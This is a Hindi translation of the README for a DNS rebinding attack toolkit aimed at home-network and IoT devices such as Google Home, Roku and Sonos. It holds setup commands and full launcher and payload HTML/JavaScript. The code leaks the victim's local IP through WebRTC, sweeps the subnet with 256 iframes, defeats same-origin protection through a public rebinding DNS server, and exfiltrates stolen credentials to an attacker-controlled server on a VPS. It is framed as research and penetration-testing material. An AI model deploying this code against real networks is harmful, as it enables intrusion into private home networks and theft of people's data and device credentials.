
DNS रीबाइंडिंग हमले बनाने के लिए एक फ्रंट-एंड जावास्क्रिप्ट टूलकिट।
डेमो | सुरक्षा परामर्श | शामिल पेलोड | FAQ
अस्वीकरण: यह सॉफ्टवेयर केवल शैक्षिक उद्देश्यों के लिए है। इस सॉफ्टवेयर का उपयोग अवैध गतिविधियों के लिए नहीं किया जाना चाहिए। लेखक इसके उपयोग के लिए जिम्मेदार नहीं है। मूर्ख मत बनो।
DNS रिबाइंड टूलकिट एक फ्रंटएंड जावास्क्रिप्ट फ्रेमवर्क है जो स्थानीय क्षेत्र नेटवर्क (LAN) पर कमजोर होस्ट और सेवाओं के खिलाफ DNS रिबाइंडिंग शोषण विकसित करने के लिए है। इसका उपयोग Google Home, Roku, Sonos WiFi स्पीकर, WiFi राउटर, "स्मार्ट" थर्मोस्टैट और अन्य IoT उपकरणों जैसे उपकरणों को लक्षित करने के लिए किया जा सकता है। इस टूलकिट के साथ, एक दूरस्थ हमलावर राउटर के फ़ायरवॉल को बायपास कर सकता है और पीड़ित के घरेलू नेटवर्क पर उपकरणों के साथ सीधे बातचीत कर सकता है, निजी जानकारी बाहर निकाल सकता है और कुछ मामलों में, कमजोर उपकरणों को नियंत्रित भी कर सकता है।
हमले के लिए लक्ष्य नेटवर्क पर पीड़ित को केवल एक लिंक का अनुसरण करने या एक दुर्भावनापूर्ण iframe वाला HTML विज्ञापन दिखाए जाने की आवश्यकता होती है। वहां से, पीड़ित के वेब ब्राउज़र का उपयोग प्रॉक्सी के रूप में किया जाता है ताकि उनके घरेलू नेटवर्क से जुड़े अन्य होस्ट तक सीधे पहुंच सकें। ये लक्ष्य मशीनें और सेवाएं अन्यथा इंटरनेट से हमलावर के लिए उपलब्ध नहीं होंगी। दूरस्थ हमलावर को यह नहीं पता हो सकता है कि वे सेवाएं क्या हैं, या वे पीड़ित के नेटवर्क पर कौन से IP पते रखती हैं, लेकिन DNS रिबाइंड टूलकिट सैकड़ों संभावित IP पतों को ब्रूट फोर्स करके इससे निपटता है।
हुड के तहत, यह उपकरण DNS रिबाइंडिंग हमले को निष्पादित करने और पीड़ित के वेब ब्राउज़र को समान-मूल नीति का उल्लंघन करने के लिए मूर्ख बनाने के लिए rebind.network:53 पर चल रहे एक सार्वजनिक whonow DNS सर्वर का उपयोग करता है। वहां से, यह पीड़ित के निजी IP पते को लीक करने के लिए WebRTC का उपयोग करता है, मान लीजिए 192.168.1.36। यह नेटवर्क के सबनेट का अनुमान लगाने के लिए इस स्थानीय IP पते के पहले तीन ऑक्टेट का उपयोग करता है और फिर 192.168.1.0-255 से 256 iframes इंजेक्ट करता है, जो नेटवर्क सबनेट पर संभावित प्रत्येक होस्ट को एक पेलोड प्रदान करता है।
इस टूलकिट का उपयोग आपके स्वयं के DNS रिबाइंडिंग हमलों को विकसित करने और तैनात करने के लिए किया जा सकता है। इस टूलकिट के साथ payloads/ निर्देशिका में कई वास्तविक दुनिया के हमले पेलोड शामिल हैं। इन पेलोड में Google Home और Roku उत्पादों सहित कुछ लोकप्रिय IoT उपकरणों के खिलाफ जानकारी निकालने (और रिकरोल मूर्खता) हमले शामिल हैं।
यह टूलकिट DNS रिबाइंडिंग हमलों में स्वतंत्र सुरक्षा अनुसंधान का उत्पाद है। आप उस मूल शोध के बारे में यहाँ पढ़ सकते हैं।
# रिपो को क्लोन करें
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit
# निर्भरताएं स्थापित करें
npm install
# रूट का उपयोग करके सर्वर चलाएं ताकि विशेषाधिकार प्राप्त पोर्ट 80 तक पहुंच प्रदान हो सके
# यह स्क्रिप्ट www/, /examples, /share, और /payloads निर्देशिकाओं से फ़ाइलों की सेवा करता है
sudo node server
डिफ़ॉल्ट रूप से, server.js क्रमशः पोर्ट 8008, 8060, 1400, 80 और 80 पर अपनी सेवाएं चलाने वाले Google Home, Roku, Sonos स्पीकर, Phillips Hue लाइट बल्ब और Radio Thermostat उपकरणों को लक्षित करने वाले पेलोड प्रदान करता है। यदि आपके घरेलू नेटवर्क पर इनमें से कोई उपकरण है, तो एक अच्छे आश्चर्य के लिए http://rebind.network पर नेविगेट करें ;)। डेवलपर कंसोल खोलें और देखें कि कैसे इन सेवाओं का हानिरहित रूप से शोषण किया जाता है, जिससे उनसे डेटा चुराया जाता है और server.js को बाहर निकाला जाता है।
यह टूलकिट दो जावास्क्रिप्ट ऑब्जेक्ट प्रदान करता है जिन्हें DNS रिबाइंडिंग हमले बनाने के लिए एक साथ उपयोग किया जा सकता है:
DNSRebindAttack: इस ऑब्जेक्ट का उपयोग किसी ज्ञात पोर्ट पर चल रही एक कमजोर सेवा के खिलाफ हमला शुरू करने के लिए किया जाता है। यह आपके द्वारा लक्षित प्रत्येक IP पते के लिए एक पेलोड उत्पन्न करता है। DNSRebindAttack ऑब्जेक्ट का उपयोग कई DNSRebindNode ऑब्जेक्ट बनाने, प्रबंधित करने और उनके साथ संवाद करने के लिए किया जाता है। DNSRebindAttack द्वारा लॉन्च किए गए प्रत्येक पेलोड में एक DNSRebindNode ऑब्जेक्ट होना चाहिए।DNSRebindNode: इस स्थैतिक वर्ग ऑब्जेक्ट को प्रत्येक HTML पेलोड फ़ाइल में शामिल किया जाना चाहिए। इसका उपयोग एक होस्ट पर चल रही एक सेवा को लक्षित करने के लिए किया जाता है। यह उस DNSRebindAttack ऑब्जेक्ट के साथ संवाद कर सकता है जिसने इसे उत्पन्न किया और इसमें DNS रिबाइंडिंग हमले को निष्पादित करने (DNSRebindNode.rebind(...) का उपयोग करके) के साथ-साथ हमले के दौरान खोजे गए डेटा को server.js (DNSRebindNode.exfiltrate(...)) में बाहर निकालने के लिए सहायक कार्य हैं।इन दो स्क्रिप्ट्स का उपयोग फ़ायरवॉल-संरक्षित LAN पर अज्ञात होस्ट के खिलाफ हमले को निष्पादित करने के लिए एक साथ किया जाता है। एक बुनियादी हमला इस तरह दिखता है:
http://example.com/launcher.html। launcher.html में DNSRebindAttack का एक उदाहरण होता है।http://example.com/launcher.html iframe के रूप में एम्बेडेड होता है। इससे launcher.html पर DNSRebindAttack हमला शुरू कर देता है।DNSRebindAttack पीड़ित मशीन का स्थानीय IP पता खोजने के लिए WebRTC लीक का उपयोग करता है (उदाहरण के लिए 192.168.10.84)। हमलावर पीड़ित के LAN पर लक्षित IP पतों की एक श्रेणी चुनने के लिए इस जानकारी का उपयोग करता है (उदाहरण के लिए 192.168.10.0-255)।launcher.html पीड़ित के सबनेट पर IP पतों की एक श्रेणी के खिलाफ DNS रिबाइंडिंग हमला शुरू करता है ( DNSRebindAttack.attack(...) का उपयोग करके), एक एकल सेवा को लक्षित करता है (उदाहरण के लिए पोर्ट पर उपलब्ध )।ध्यान दें, यदि किसी उपयोगकर्ता के नेटवर्क पर एक अज्ञात IP पते वाला एक Google Home उपकरण है और पूरे 192.168.1.0/24 सबनेट के खिलाफ हमला शुरू किया जाता है, तो एक DNSRebindNode का रिबाइंड हमला सफल होगा और 254 विफल होंगे।
एक हमले में तीन समन्वित स्क्रिप्ट्स और फ़ाइलें होती हैं:
DNSRebindAttack का एक उदाहरण होता है (जैसे launcher.html)payload.html)। यह फ़ाइल DNSRebindAttack द्वारा प्रत्येक लक्षित IP पते के लिए launcher.html में एम्बेड की जाती है।server.js)।launcher.htmlयहाँ एक उदाहरण HTML लॉन्चर फ़ाइल है। आप पूरा दस्तावेज़ examples/launcher.html में पा सकते हैं।
<!DOCTYPE html>
<head>
<title>उदाहरण लॉन्चर</title>
</head>
<body>
<!-- यह स्क्रिप्ट DNSRebindAttack.js की निर्भरता है और इसे शामिल किया जाना चाहिए -->
<script type="text/javascript" src="/share/js/EventEmitter.js"></script>
<!-- DNS Rebind Attack ऑब्जेक्ट शामिल करें -->
<script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
<script type="text/javascript">
// DNSRebindAttack में एक स्थैतिक विधि है जो ब्राउज़र के LAN पर IP पते को लीक करने के लिए WebRTC का उपयोग करती है।
// हम इसका उपयोग LAN के IP सबनेट का अनुमान लगाने के लिए करेंगे। यदि स्थानीय IP 192.168.1.89 है, तो हम सभी IP पतों 192.168.1.1-255 को लक्षित करते हुए 255 iframes लॉन्च करेंगे।
DNSRebindAttack.getLocalIPAddress()
.then(ip => launchRebindAttack(ip))
.catch(err => {
console.error(err)
// ऐसा लगता है कि हमारी चतुर WebRTC लीक ट्रिक काम नहीं की (कुछ ब्राउज़रों में काम नहीं करती)। कोई बड़ी बात नहीं, अधिकांश घरेलू नेटवर्क 192.168.1.1/24 हैं।
launchRebindAttack('192.168.1.1')
})
function launchRebindAttack(localIp) {
// 192.168.1.1 को 192.168.1.0 - 192.168.1.255 से सरणी में बदलें
const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
// पहला तर्क सार्वजनिक रूप से सुलभ whonow सर्वर (https://github.com/brannondorsey/whonow) का डोमेन नाम है।
// मेरे पास rebind.network के पोर्ट 53 पर चल रहा एक है जिसका आप उपयोग कर सकते हैं।
// आप जिन सेवाओं पर हमला कर रहे हैं वे पोर्ट 80 पर नहीं चल रही होंगी, इसलिए आप शायद उसे भी बदलना चाहेंगे।
const rebind = new DNSRebindAttack('rebind.network', 80)
// DNS Rebind हमला शुरू करें, सबनेट के प्रत्येक होस्ट (या कम से कम हम उम्मीद करते हैं) पर सेवा पर हमला करने वाले 255 iframes उत्पन्न करें।
// तर्क हैं:
// 1) लक्ष्य ip पते
// 2) IP पता जिस पर आपका Node server.js चल रहा है। आमतौर पर डेव के दौरान 127.0.0.1, लेकिन फिर उत्पादन में इस रिपो की मेजबानी करने वाले VPS का सार्वजनिक रूप से सुलभ IP (होस्टनाम नहीं)।
// 3) इस सेवा को वितरित करने के लिए HTML पेलोड। इस HTML फ़ाइल में एक DNSRebindNode उदाहरण कार्यान्वित होना चाहिए।
// 4) प्रत्येक नए iframe एम्बेड के बीच प्रतीक्षा करने के लिए मिलीसेकंड में अंतराल।
// एक साथ 100 iframes स्पॉन करना ब्राउज़र को दबा सकता है (या क्रैश कर सकता है)। यह मान जितना अधिक होगा, हमले में उतना ही अधिक समय लगेगा, लेकिन यह कम संसाधनों का उपभोग करता है।
rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)
// rebind.nodes भी एक EventEmitter है, केवल यह DNSRebindNode.emit(...) का उपयोग करके फायर किया जाता है।
// यह iframes के अंदर DNSRebindNodes को पैरेंट DNSRebindAttack में वापस संदेश पोस्ट करने की अनुमति देता है जिसने उन्हें लॉन्च किया।
// आप केवल DNSRebindNode.emit('my-custom-event') उत्सर्जित करके कस्टम इवेंट परिभाषित कर सकते हैं और rebind.nodes में एक श्रोता इसे प्राप्त कर सकता है।
// ऐसा कहा जा रहा है, कुछ मानक इवेंट नाम हैं जो स्वचालित रूप से ट्रिगर होते हैं:
// - begin: तब ट्रिगर होता है जब DNSRebindNode.js लोड होता है। यह संकेत देता है कि एक IP पते के खिलाफ हमला शुरू किया गया है (या कम से कम, इसका पेलोड वितरित किया गया)।
// - rebind: DNS रिबाइंड सफल रहा, यह नोड अब लक्ष्य सेवा के साथ संवाद कर रहा होगा।
// - exfiltrate: JSON डेटा वापस अपने Node server.js पर भेजें और इसे data/ फ़ोल्डर में सहेजें।
// इसके अतिरिक्त, DNSRebindNode.destroy() स्थैतिक विधि 'destory' इवेंट को ट्रिगर करेगी और DNSRebindAttack को iframe हटाने का कारण बनेगी।
rebind.nodes.on('begin', (ip) => {
// DNSRebindNode लोड हो गया है, ip पर हमला कर रहा है
})
rebind.nodes.on('rebind', (ip) => {
// रिबाइंड सफल रहा
console.log('node rebind', ip)
})
rebind.nodes.on('exfiltrate', (ip, data) => {
// JSON डेटा बाहर निकाला गया और server.js होस्ट करने वाली दूरस्थ मशीन पर data/
// फ़ोल्डर में सहेजा गया
console.log('node exfiltrate', ip, data)
// data = {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
})
}
</script>
</body>
</html>
payload.htmlयहाँ एक उदाहरण HTML पेलोड फ़ाइल है। आप पूरा दस्तावेज़ examples/payload.html में पा सकते हैं।
<!DOCTYPE html>
<html>
<head>
<title>उदाहरण पेलोड</title>
</head>
<body>
<!--
DNSRebindNode लोड करें। इस स्थैतिक वर्ग का उपयोग रिबाइंड हमले को लॉन्च करने और example-launcher.html में DNSRebindAttack उदाहरण के साथ संवाद करने के लिए किया जाता है।
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">
attack()
.then(() => {},
err => {
// हमले के दौरान किसी बिंदु पर एक त्रुटि हुई
console.error(err)
DNSRebindNode.emit('fatal', err.message)
}
) // destroy() कॉल करके इस iframe को हटाएं
.then(() => DNSRebindNode.destroy())
// हमले को लॉन्च करता है और एक वादा लौटाता है जो हल हो जाता है यदि लक्ष्य सेवा पाई जाती है और सही ढंग से शोषण किया जाता है, या अधिक संभावना है, अस्वीकार कर दिया जाता है क्योंकि यह होस्ट मौजूद नहीं है, लक्ष्य सेवा नहीं चल रही है, या शोषण में कुछ गलत हुआ। याद रखें कि यह हमला 255+ IP पतों के खिलाफ लॉन्च किया जा रहा है, इसलिए उनमें से अधिकांश सफल नहीं होंगे।
async function attack() {
// DNSRebindNode में कुछ डिफ़ॉल्ट fetch विकल्प हैं जो नो कैशिंग आदि निर्दिष्ट करते हैं।
// आप सुविधा के लिए उन्हें पुन: उपयोग कर सकते हैं, या प्रत्येक fetch() अनुरोध के लिए अपना स्वयं का विकल्प ऑब्जेक्ट बनाकर उन्हें अनदेखा कर सकते हैं।
// यहाँ उनके डिफ़ॉल्ट मान हैं:
// {
// method: "GET",
// headers: {
// // यह सभी ब्राउज़रों में काम नहीं करता है। उदाहरण के लिए,
// // Firefox आपको ऐसा करने की अनुमति नहीं देता है।
// "Origin": "", // ओरिजिन हेडर अनसेट करें
// "Pragma": "no-cache",
// "Cache-Control": "no-cache"
// },
// cache: "no-cache"
// }
const getOptions = DNSRebindNode.fetchOptions()
try {
// इस उदाहरण में, हम दिखावा करेंगे कि हम किसी सेवा पर हमला कर रहे हैं जिसमें /auth.json फ़ाइल है जिसमें सादे टेक्स्ट में उपयोगकर्ता नाम/पासवर्ड है।
// उन क्रेडेंशियल्स को चुराने से पहले, हमें पहले रिबाइंड हमला करना होगा।
// सबसे अधिक संभावना है, हमारा वेबसर्वर इस पेज के होस्ट के लिए DNS परिणामों को कैश करेगा।
// DNSRebindNode.rebind(...) पुनरावर्ती रूप से होस्ट को एक नए, लक्ष्य IP पते के साथ रिबाइंड करने का पुन: प्रयास करता है।
// इसमें एक मिनट से अधिक समय लग सकता है, और यदि यह असफल होता है तो वादा अस्वीकार कर दिया जाता है।
const opts = {
// ये विकल्प DNS रिबाइंड fetch अनुरोध में पास किए जाते हैं
fetchOptions: getOptions,
// डिफ़ॉल्ट रूप से, DNSRebindNode.rebind() को सफल माना जाता है
// यदि इसे लक्ष्य सेवा से HTTP 200 OK प्रतिक्रिया प्राप्त होती है।
// हालाँकि, आप स्वयं successPredicate(...) फ़ंक्शन के साथ किसी भी प्रकार का "रिबाइंड सफलता" परिदृश्य परिभाषित कर सकते हैं।
// यह फ़ंक्शन एक फ़ेच परिणाम को एक पैरामीटर के रूप में प्राप्त करता है और वापसी मान यह निर्धारित करता है कि रिबाइंड सफल हुआ या नहीं (अर्थात, आप लक्ष्य सर्वर के साथ संवाद कर रहे हैं)। यहाँ हम जाँचते हैं कि क्या fetchResult हमारे उदाहरण कमजोर सर्वर द्वारा भेजा गया था।
successPredicate: (fetchResult) => {
return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
}
}
// रिबाइंड की प्रतीक्षा करें। पीड़ित के DNS कैश सेटिंग्स या यदि दूसरी तरफ कोई होस्ट सुन नहीं रहा है तो इसमें एक मिनट से अधिक समय लग सकता है।
await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
} catch (err) {
// उफ़, रिबाइंड विफल रहा। या तो ब्राउज़र का DNS कैश कभी साफ़ नहीं हुआ, या अधिक संभावना है, यह सेवा लक्ष्य होस्ट पर नहीं चल रही है। ओह ठीक है... अस्वीकृति को बुलबुला करें और हमारे attack() के अस्वीकृति हैंडलर को इससे निपटने दें।
return Promise.reject(err)
}
try {
// ठीक है, अब जब हमने होस्ट को रिबाइंड कर लिया है और लक्ष्य सेवा के साथ संवाद कर रहे हैं, तो आइए क्रेडेंशियल्स प्राप्त करें
const creds = await fetch(`http://${location.host}/auth.json`)
.then(res => res.json())
// {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
// console.log(creds)
// बढ़िया, अब इन क्रेडेंशियल्स को Node.js सर्वर पर बाहर निकालते हैं जो यह सब चला रहा है। यह आखिरी चीज है जिसकी हमें परवाह है,
// इसलिए हम इस वादे को attack() के परिणाम के रूप में वापस कर देंगे और इसके हैंडलर को इससे निपटने देंगे।
//
// नोट: exfiltrate(...) का दूसरा तर्क JSON क्रमबद्ध करने योग्य होना चाहिए।
return DNSRebindNode.exfiltrate('auth-example', creds)
} catch (err) {
return Promise.reject(err)
}
}
</script>
</body>
</html>
server.jsइस स्क्रिप्ट का उपयोग launcher.html और payload.html फ़ाइलों को वितरित करने के साथ-साथ DNSRebindNode से बाहर निकाले गए डेटा को प्राप्त करने और data/ फ़ोल्डर में सहेजने के लिए किया जाता है। विकास के लिए, मैं आमतौर पर इस सर्वर को लोकलहोस्ट पर चलाता हूं और DNSRebindAttack.attack(...) को 127.0.0.1 की ओर इंगित करता हूं। उत्पादन के लिए, मैं सर्वर को एक VPS क्लाउड सर्वर पर चलाता हूं और DNSRebindAttack.attack(...) को उसके सार्वजनिक IP पते पर इंगित करता हूं।
# पोर्ट 80 खोलने में सक्षम होने के लिए व्यवस्थापक विशेषाधिकार के साथ चलाएं।
sudo node server
usage: server [-h] [-v] [-p PORT]
DNS Rebind Toolkit सर्वर
वैकल्पिक तर्क:
-h, --help यह सहायता संदेश दिखाएं और बाहर निकलें।
-v, --version प्रोग्राम का संस्करण संख्या दिखाएं और बाहर निकलें।
-p PORT, --port PORT सर्वर को किस पोर्ट पर बांधना है। इसमें कई शामिल हो सकते हैं
जैसे: --port 80 --port 1337 (डिफ़ॉल्ट: -p 80
-p 8008 -p 8060 -p 1337)
मैंने examples/vulnerable-server.js में एक उदाहरण कमजोर सर्वर शामिल किया है। इस कमजोर सेवा को आपके नेटवर्क पर किसी अन्य मशीन से चलाया जाना चाहिए, क्योंकि इसका पोर्ट server.js के समान पोर्ट से मेल खाना चाहिए। इस उदाहरण हमले को स्वयं चलाने के लिए, निम्नलिखित करें:
# रिपो क्लोन करें
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit
# कमजोर सर्वर लॉन्च करें
node examples/vulnerable-server
# ...
# कमजोर सर्वर 3000 पर सुन रहा है
node server --port 3000
अब, अपने ब्राउज़र को http://localhost:3000/launcher.html पर नेविगेट करें और एक देव कंसोल खोलें। एक या दो मिनट प्रतीक्षा करें, यदि हमला काम करता है तो आपको द्वितीयक कंप्यूटर पर चल रहे कमजोर सर्वर से कुछ डंप किए गए क्रेडेंशियल्स दिखाई देने चाहिए।
अधिक उदाहरणों के लिए examples/ और payloads/ निर्देशिकाएँ देखें।
server.js: DNS रिबाइंड टूलकिट सर्वरpayloads/: कई HTML पेलोड फ़ाइलें जो कुछ कमजोर IoT उपकरणों को लक्षित करने के लिए हस्तनिर्मित हैं। अभी के लिए Google Home, Roku और Radio Thermostat के खिलाफ हमले शामिल हैं। मैं भविष्य में इस रिपो में और अधिक पेलोड जोड़े जाने को देखना पसंद करूंगा (पीआर का स्वागत है!)examples/: उदाहरण उपयोग फ़ाइलें।data/: वह निर्देशिका जहाँ DNSRebindNode.exfiltrate(...) द्वारा बाहर निकाला गया डेटा सहेजा जाता है।share/: जावास्क्रिप्ट फ़ाइलों की निर्देशिका जो examples/ और payload/ में कई HTML फ़ाइलों द्वारा साझा की जाती हैं।यह टूलकिट शोधकर्ताओं और पेनिट्रेशन परीक्षकों के लिए एक उपयोगी उपकरण होने के लिए विकसित किया गया था। यदि आप उस शोध का कुछ देखना चाहते हैं जिसके कारण इसका निर्माण हुआ, तो इस पोस्ट को देखें। यदि आप किसी अन्य सेवा के लिए पेलोड लिखते हैं, तो इस रिपॉजिटरी में पीआर बनाने पर विचार करें ताकि दूसरे आपके काम से लाभ उठा सकें!
8008DNSRebindAttack एक iframe को launcher.html पेज में एम्बेड करता है जिसमें payload.html होता है। प्रत्येक iframe में एक DNSRebindNode ऑब्जेक्ट होता है जो हमले के द्वारा लक्षित IP पतों की श्रेणी में परिभाषित एक होस्ट के पोर्ट 8008 के खिलाफ हमला निष्पादित करता है। यह इंजेक्शन प्रक्रिया तब तक जारी रहती है जब तक कि हमले द्वारा लक्षित प्रत्येक IP पते के लिए एक iframe इंजेक्ट नहीं हो जाता।payload.html फ़ाइल एक whonow DNS सर्वर के साथ संचार करके रिबाइंड हमले का प्रयास करने के लिए DNSRebindNode का उपयोग करती है। यदि यह सफल होता है, तो समान-मूल नीति का उल्लंघन होता है और payload.html सीधे Google Home उत्पाद के साथ संवाद कर सकता है। आमतौर पर payload.html इस तरह से लिखा जाएगा कि वह लक्ष्य उपकरण के लिए कुछ API कॉल करता है और हमले को समाप्त करने और स्वयं को नष्ट करने से पहले परिणामों को example.com पर चल रहे server.js में बाहर निकालता है।